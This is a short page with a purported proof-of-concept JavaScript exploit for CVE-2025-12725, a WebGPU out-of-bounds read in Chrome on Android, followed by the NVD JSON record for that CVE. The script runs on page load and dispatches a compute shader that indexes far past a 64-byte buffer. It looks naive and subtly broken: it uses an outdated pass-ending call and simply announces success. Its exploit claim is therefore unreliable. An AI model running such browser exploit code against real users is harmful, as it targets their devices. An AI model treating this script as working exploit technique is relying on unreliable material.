CVE-2025-12725

// CVE-2025-12725 PoC - WebGPU Out of Bounds Read // Target: Google Chrome on Android < 142.0.7444.137 async function triggerOOBRead() { if (!navigator.gpu) { console.log('WebGPU not supported'); return; } const adapter = await navigator.gpu.requestAdapter(); if (!adapter) { console.log('Failed to get GPU adapter'); return; } const device = await adapter.requestDevice(); // Create a small buffer const bufferSize = 64; const buffer = device.createBuffer({ size: bufferSize, usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_SRC }); // Create compute shader that attempts out of bounds read const shaderCode = ` @group(0) @binding(0) var<storage, read_write> buffer: array<u32>; @compute @workgroup_size(1) fn main() { // Attempt to read beyond buffer boundary // This triggers the OOB read vulnerability let oob_value = buffer[1000000]; buffer[0] = oob_value; } `; const shaderModule = device.createShaderModule({ code: shaderCode }); const computePipeline = device.createComputePipeline({ layout: 'auto', compute: { module: shaderModule, entryPoint: 'main' } }); const bindGroup = device.createBindGroup({ layout: computePipeline.getBindGroupLayout(0), entries: [{ binding: 0, resource: { buffer: buffer } }] }); const commandEncoder = device.createCommandEncoder(); const computePassEncoder = commandEncoder.beginComputePass(); computePassEncoder.setPipeline(computePipeline); computePassEncoder.setBindGroup(0, bindGroup); computePassEncoder.dispatchWorkgroups(1); computePassEncoder.endPass(); device.queue.submit([commandEncoder.finish()]); console.log('OOB read triggered'); } // Trigger on page load triggerOOBRead();

{"cve": {"id": "CVE-2025-12725", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:39.577", "lastModified": "2025-11-25T15:05:54.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read in WebGPU in Google Chrome on Android prior to 142.0.7444.137 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.137", "matchCriteriaId": "282A7796-3A7D-4050-9B8D-1DF46E9669CA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.134", "matchCriteriaId": "B3907D2C-FD39-49C9-B6D2-AF6A29921831"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.135", "matchCriteriaId": "E1456F40-81F4-4166-A327-35AD53E2A36A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/11/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/443906252", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}